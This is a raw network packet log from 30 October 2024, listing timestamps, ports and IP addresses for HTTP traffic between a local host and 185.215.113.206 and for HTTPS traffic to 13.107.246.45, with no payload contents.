Oct 30, 2024 04:34:15.434046984 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:15.434067011 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:15.434082031 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:15.434096098 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:15.434114933 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:15.434129000 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:15.434130907 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:15.434144974 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:15.434164047 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:15.434209108 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:15.434223890 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:15.434238911 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:15.434242964 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:15.434257984 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:15.434276104 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:15.434318066 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:15.434336901 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:15.434353113 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:15.434357882 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:15.434367895 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:15.434391975 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:15.434413910 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:15.434433937 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:15.434448957 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:15.434453964 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:15.434464931 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:15.434477091 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:15.434488058 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:15.434497118 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:15.434509993 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:15.434516907 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:15.434533119 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:15.434549093 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:15.435951948 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:15.435972929 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:15.435992956 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:15.436000109 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:15.436021090 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:15.436026096 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:15.436039925 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:15.436043978 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:15.436054945 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:15.436064959 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:15.436069965 CET	443	49712	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:15.436079979 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:15.436091900 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:15.436094046 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:15.436095953 CET	443	49712	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:15.436121941 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:15.436136961 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:15.436136961 CET	49712	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:15.436141968 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:15.436145067 CET	443	49712	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:15.436163902 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:15.436166048 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:15.436194897 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:15.436197042 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:15.436197996 CET	49712	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:15.436216116 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:15.436227083 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:15.436249018 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:15.436250925 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:15.436269999 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:15.436284065 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:15.436299086 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:15.436300993 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:15.436321020 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:15.436335087 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:15.436351061 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:15.436357975 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:15.436371088 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:15.436384916 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:15.436398029 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:15.436408997 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:15.436429977 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:15.436436892 CET	443	49712	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:15.436445951 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:15.436453104 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:15.436460018 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:15.436472893 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:15.436490059 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:15.436495066 CET	443	49712	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:15.436505079 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:15.436506033 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:15.436526060 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:15.436530113 CET	49712	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:15.436547995 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:15.436557055 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:15.436567068 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:15.436577082 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:15.436590910 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:15.436609983 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:15.436609983 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:15.436642885 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:15.436644077 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:15.436664104 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:15.436676979 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:15.436683893 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:15.436697006 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:15.436702967 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:15.436717987 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:15.436721087 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:15.436743021 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:15.436744928 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:15.436763048 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:15.436764956 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:15.436785936 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:15.436788082 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:15.436808109 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:15.436816931 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:15.436834097 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:15.436836958 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:15.436850071 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:15.436857939 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:15.436872959 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:15.436886072 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:15.436888933 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:15.436911106 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:15.436923981 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:15.436929941 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:15.436945915 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:15.436952114 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:15.436961889 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:15.436985970 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:15.437156916 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:15.437186003 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:15.437192917 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:15.437206984 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:15.437221050 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:15.437227964 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:15.437242985 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:15.437249899 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:15.437258005 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:15.437279940 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:15.437283039 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:15.437300920 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:15.437314034 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:15.437335014 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:15.437340021 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:15.437360048 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:15.437374115 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:15.437381029 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:15.437392950 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:15.437402964 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:15.437417030 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:15.437422991 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:15.437431097 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:15.437443972 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:15.437458038 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:15.437474966 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:15.437484026 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:15.437496901 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:15.437510014 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:15.437516928 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:15.437529087 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:15.437537909 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:15.437546015 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:15.437557936 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:15.437572956 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:15.437578917 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:15.437594891 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:15.437598944 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:15.437609911 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:15.437619925 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:15.437630892 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:15.437640905 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:15.437650919 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:15.437661886 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:15.437671900 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:15.437681913 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:15.437695980 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:15.437702894 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:15.437716961 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:15.437721014 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:15.437735081 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:15.437741995 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:15.437752962 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:15.437762976 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:15.437777996 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:15.437788010 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:15.437803030 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:15.437818050 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:15.466141939 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:15.466248989 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:15.466289043 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:15.466321945 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:15.466346025 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:15.466365099 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:15.466372967 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:15.466408968 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:15.466412067 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:15.466444016 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:15.466460943 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:15.466494083 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:15.466497898 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:15.466531992 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:15.466553926 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:15.466593027 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:15.466603994 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:15.466636896 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:15.466641903 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:15.466672897 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:15.466676950 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:15.466706038 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:15.466711044 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:15.466741085 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:15.466744900 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:15.466778994 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:15.466789961 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:15.466814041 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:15.466814995 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:15.466851950 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:15.466846943 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:15.466897011 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:15.466901064 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:15.466928005 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:15.466939926 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:15.466963053 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:15.466964960 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:15.467003107 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:15.493782043 CET	49712	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:15.493793964 CET	443	49712	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:15.493803978 CET	49712	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:15.493808031 CET	443	49712	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:15.494837046 CET	49713	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:15.494849920 CET	443	49713	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:15.494875908 CET	49713	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:15.494880915 CET	443	49713	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:15.495579004 CET	49714	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:15.495583057 CET	443	49714	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:15.495593071 CET	49714	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:15.495595932 CET	443	49714	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:15.521074057 CET	443	49715	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:15.521383047 CET	443	49715	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:15.521454096 CET	49715	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:15.552182913 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:15.552232981 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:15.552243948 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:15.552280903 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:15.552282095 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:15.552323103 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:15.552335024 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:15.552370071 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:15.552372932 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:15.552405119 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:15.552407980 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:15.552438021 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:15.552439928 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:15.552472115 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:15.552473068 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:15.552509069 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:15.552525997 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:15.552560091 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:15.552561045 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:15.552597046 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:15.552598953 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:15.552634954 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:15.552692890 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:15.552726030 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:15.552731037 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:15.552762032 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:15.552802086 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:15.552840948 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:15.552853107 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:15.552890062 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:15.552890062 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:15.552942991 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:15.552943945 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:15.552977085 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:15.552982092 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:15.553015947 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:15.553026915 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:15.553065062 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:15.553076982 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:15.553107023 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:15.553112984 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:15.553139925 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:15.553142071 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:15.553177118 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:15.553177118 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:15.553211927 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:15.553226948 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:15.553266048 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:15.553277969 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:15.553309917 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:15.553313971 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:15.553344965 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:15.553344011 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:15.553380966 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:15.553394079 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:15.553428888 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:15.553430080 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:15.553464890 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:15.553483009 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:15.553518057 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:15.553519011 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:15.553550959 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:15.553553104 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:15.553585052 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:15.553586960 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:15.553617954 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:15.553621054 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:15.553654909 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:15.553669930 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:15.553714037 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:15.553729057 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:15.553762913 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:15.553766966 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:15.553797007 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:15.553797960 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:15.553833008 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:15.553847075 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:15.553880930 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:15.553889036 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:15.553914070 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:15.553917885 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:15.553951025 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:15.553965092 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:15.553998947 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:15.554002047 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:15.554037094 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:15.554050922 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:15.554084063 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:15.554089069 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:15.554119110 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:15.554120064 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:15.554150105 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:15.554157019 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:15.554183006 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:15.554183960 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:15.554217100 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:15.554219007 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:15.554251909 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:15.554265022 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:15.554301023 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:15.554321051 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:15.554357052 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:15.554358006 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:15.554394960 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:15.554409981 CET	80	49710	185.215.113.206	192.168.2.6
